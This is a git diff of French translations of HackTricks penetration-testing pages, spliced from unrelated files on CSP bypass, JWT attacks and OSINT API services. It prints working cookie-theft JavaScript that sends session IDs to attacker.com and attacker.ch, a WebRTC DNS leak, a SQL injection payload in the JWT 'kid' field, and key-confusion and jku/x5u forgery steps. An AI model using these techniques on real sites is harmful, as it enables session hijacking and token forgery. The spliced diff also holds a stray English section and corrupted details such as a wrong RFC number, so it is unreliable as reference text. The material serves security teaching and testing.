Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque SOME** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
|
||||
Pour plus d'informations sur la façon de réaliser cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Contournements de l'exfiltration CSP
|
||||
|
||||
|
|
@ -693,7 +683,7 @@ S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs ex
|
|||
|
||||
### Location
|
||||
|
||||
Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :
|
||||
Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
|
@ -715,29 +705,31 @@ var sessionid = document.cookie.split('=')[1]+".";
|
|||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
## Bypassing Content Security Policy (CSP)
|
||||
### Bypassing Content Security Policy (CSP)
|
||||
|
||||
---
|
||||
|
||||
### Introduction
|
||||
#### Introduction
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
|
||||
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) protections implemented on a web application.
|
||||
|
||||
### Bypassing CSP using `unsafe-inline`
|
||||
#### What is Content Security Policy (CSP)?
|
||||
|
||||
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP. Attackers can exploit this by injecting their malicious code directly into the HTML document.
|
||||
Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page. This helps prevent unauthorized execution of scripts and other potentially harmful content.
|
||||
|
||||
### Bypassing CSP using `unsafe-eval`
|
||||
#### Bypassing CSP
|
||||
|
||||
Another method to bypass CSP is by using the `unsafe-eval` keyword in the CSP header. This allows the execution of dynamically generated code, which is often used by libraries like jQuery. Attackers can abuse this feature to execute their own malicious scripts.
|
||||
There are several ways to bypass CSP protections, including:
|
||||
|
||||
### Bypassing CSP using Data URI
|
||||
1. **Inline Script Execution**: By finding ways to execute scripts inline within the HTML document.
|
||||
2. **External Script Execution**: Loading scripts from unauthorized external sources.
|
||||
3. **Data Injection**: Injecting malicious data into the application to bypass CSP restrictions.
|
||||
4. **Unsafe Inline**: Using the `'unsafe-inline'` keyword in the CSP policy to allow inline script execution.
|
||||
5. **Nonce-Based CSP Bypass**: Generating and using a nonce value to bypass CSP restrictions on inline scripts.
|
||||
|
||||
Attackers can also bypass CSP by using Data URI to embed external resources directly into the HTML document. By encoding the malicious script into a Data URI format, attackers can execute the code without triggering CSP violations.
|
||||
#### Conclusion
|
||||
|
||||
### Conclusion
|
||||
|
||||
Content Security Policy is a powerful security feature that can help protect websites from various types of attacks. However, it is important to understand the potential bypass techniques in order to effectively secure web applications against malicious actors.
|
||||
Content Security Policy (CSP) is an important security mechanism to protect web applications from various types of attacks. However, it is crucial for developers to understand the potential bypass techniques in order to implement effective CSP policies. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities in web applications.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
|
@ -756,21 +748,11 @@ Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (
|
|||
|
||||
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
|
||||
|
||||
En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code:
|
||||
En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code :
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
### Contournement de la politique de sécurité du contenu (CSP)
|
||||
|
||||
Lorsqu'une politique de sécurité du contenu (CSP) est en place sur un site web, elle peut restreindre les types de contenu qui peuvent être chargés et exécutés. Cependant, il existe des moyens de contourner ces restrictions en exploitant des vulnérabilités spécifiques. Voici quelques techniques courantes pour contourner une CSP :
|
||||
|
||||
1. **Utilisation de directives non strictes** : Certaines CSP sont mal configurées et autorisent l'utilisation de directives non strictes telles que 'unsafe-inline' ou 'unsafe-eval'. Ces directives peuvent être exploitées pour exécuter du code JavaScript malveillant.
|
||||
|
||||
2. **Injection de code** : En exploitant des vulnérabilités telles que les injections de code XSS, il est possible d'injecter du code malveillant qui contourne les restrictions de la CSP.
|
||||
|
||||
3. **Utilisation de CDN malveillants** : En chargeant du contenu à partir de CDN malveillants, il est possible de contourner la CSP et d'exécuter du code malveillant sur le site web cible.
|
||||
|
||||
Il est important de comprendre ces techniques pour évaluer correctement la sécurité d'un site web protégé par une CSP.
|
||||
Une autre option :
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
|
@ -807,10 +789,10 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||||
|
||||
**Perspectives sur le piratage**\
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités sur le piratage en temps réel**\
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
|
|
@ -822,12 +804,12 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,24 +4,24 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Auteur de l'outil génial pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Auteur de l'outil formidable pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Gains Rapides**
|
||||
|
||||
|
|
@ -41,15 +41,15 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
### Manipuler les données sans rien modifier
|
||||
|
||||
Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre nom d'utilisateur en "admin".
|
||||
Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.
|
||||
|
||||
#### **Le jeton est-il vérifié?**
|
||||
|
||||
Pour vérifier si la signature d'un JWT est vérifiée :
|
||||
|
||||
* Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés.
|
||||
* Un changement dans la page renvoyée indique une vérification.
|
||||
* Aucun changement ne suggère aucune vérification ; c'est à ce moment qu'il faut expérimenter en manipulant les revendications de la charge utile.
|
||||
* Un changement dans la page renvoyée indique également une vérification.
|
||||
* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en altérant les revendications de la charge utile.
|
||||
|
||||
### Origine
|
||||
|
||||
|
|
@ -62,15 +62,15 @@ Il est important de déterminer si le jeton a été généré côté serveur ou
|
|||
|
||||
Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
|
||||
|
||||
### Brute-force du secret HMAC
|
||||
### Force brute du secret HMAC
|
||||
|
||||
[**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Modifier l'algorithme en None (CVE-2015-9235)
|
||||
### Modifier l'algorithme en None
|
||||
|
||||
Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.
|
||||
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token" vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
|
||||
### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
|
@ -79,7 +79,7 @@ L'algorithme RS256 utilise la clé privée pour signer le message et utilise la
|
|||
|
||||
Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.
|
||||
|
||||
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web exécutant ceci :
|
||||
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
|
@ -99,7 +99,7 @@ Les instructions détaillent une méthode pour évaluer la sécurité des jetons
|
|||
* Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié.
|
||||
* Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic.
|
||||
* **Surveillance de l'interaction HTTP**:
|
||||
* Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir du lien fourni.
|
||||
* Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir de votre lien fourni.
|
||||
* Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec l'emplacement de votre JWKS personnel pour faciliter les tests.
|
||||
* **Commande pour `jwt_tool`**:
|
||||
* Exécutez la commande suivante pour simuler le scénario avec `jwt_tool`:
|
||||
|
|
@ -126,7 +126,7 @@ En ciblant des fichiers avec un contenu prévisible, il est possible de falsifie
|
|||
|
||||
#### Injection SQL via "kid"
|
||||
|
||||
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe depuis une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile de `kid`. Un exemple de charge utile qui utilise une injection SQL pour modifier le processus de signature JWT est :
|
||||
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe depuis une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour modifier le processus de signature JWT est :
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
|
|
@ -143,7 +143,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan
|
|||
#### jku
|
||||
|
||||
jku signifie **URL de jeu de clés JWK**.\
|
||||
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service Web dont vous pouvez surveiller le trafic.
|
||||
Si le jeton utilise une revendication d'en-tête “**jku**”, **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
|
||||
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
|
||||
```bash
|
||||
|
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 5280. La sécurité du transport est requise pour transférer les certificats.
|
||||
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. La sécurité du transport est requise pour transférer les certificats.
|
||||
|
||||
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
|
||||
|
||||
|
|
@ -173,7 +173,7 @@ Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous,
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.**
|
||||
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**.
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -206,7 +206,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature :
|
||||
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et de l'utiliser pour générer une nouvelle signature :
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
|
@ -222,16 +222,16 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
### ES256: Révéler la clé privée avec le même nonce
|
||||
### ES256: Révélation de la clé privée avec le même nonce
|
||||
|
||||
Si certaines applications utilisent ES256 et utilisent le même nonce pour générer deux JWT, la clé privée peut être restaurée.
|
||||
|
||||
Voici un exemple: [ECDSA: Révéler la clé privée, si le même nonce est utilisé (avec SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
Voici un exemple: [ECDSA: Révélation de la clé privée, si le même nonce est utilisé (avec SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.\
|
||||
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejou réussi).
|
||||
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejouement réussi).
|
||||
|
||||
### Réclamations enregistrées JWT
|
||||
|
||||
|
|
@ -241,13 +241,13 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000
|
|||
|
||||
**Attaques de relais entre services**
|
||||
|
||||
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
|
||||
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/adresse e-mail devrait être étudiée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
|
||||
|
||||
* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si vous vous inscrivez sur une application tierce, car cela pourrait entrer dans une zone grise légale.
|
||||
|
||||
**Vérification de l'expiration des jetons**
|
||||
|
||||
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejouement JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit écoulé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
|
||||
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de lutter contre les attaques de rejouement JWT en utilisant la revendication "exp" pour définir une heure d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le délai d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
|
||||
|
||||
* Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
|
||||
|
||||
|
|
@ -269,8 +269,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,148 +1,153 @@
|
|||
# Plateformes en ligne avec API
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
## [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
Vous pouvez demander si une adresse IP est liée à des activités suspectes/malveillantes. Complètement gratuit.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
## [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
Vérifiez si l'adresse IP est liée à un bot qui crée des comptes. Il peut également vérifier les noms d'utilisateur et les e-mails. Initialement gratuit.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
## [Hunter](https://hunter.io/)
|
||||
|
||||
Trouvez et vérifiez des e-mails.
|
||||
Certaines requêtes API gratuites, pour plus vous devez payer.
|
||||
Trouvez et vérifiez des e-mails.\
|
||||
Certaines requêtes API gratuites, pour plus vous devez payer.\
|
||||
Commercial ?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
## [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
Trouvez des activités malveillantes liées aux adresses IP et aux domaines. Gratuit.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
## [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
Trouvez des données personnelles liées à un e-mail \(profils sur d'autres plateformes\), un domaine \(informations de base sur l'entreprise, e-mails et personnes travaillant\) et des entreprises \(obtenez des informations sur l'entreprise à partir de l'e-mail\).
|
||||
Vous devez payer pour accéder à toutes les possibilités.
|
||||
Trouvez des données personnelles liées à un e-mail (profils sur d'autres plateformes), un domaine (informations de base sur l'entreprise, e-mails et personnes travaillant) et des entreprises (obtenez des informations sur l'entreprise à partir de l'e-mail).\
|
||||
Vous devez payer pour accéder à toutes les possibilités.\
|
||||
Commercial ?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
## [BuiltWith](https://builtwith.com/)
|
||||
|
||||
Technologies utilisées par les sites web. Cher...
|
||||
Technologies utilisées par les sites web. Cher...\
|
||||
Commercial ?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
## [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
Vérifiez si un hôte \(domaine ou IP\) est lié à des activités suspectes/malveillantes. Dispose de quelques accès API gratuits.
|
||||
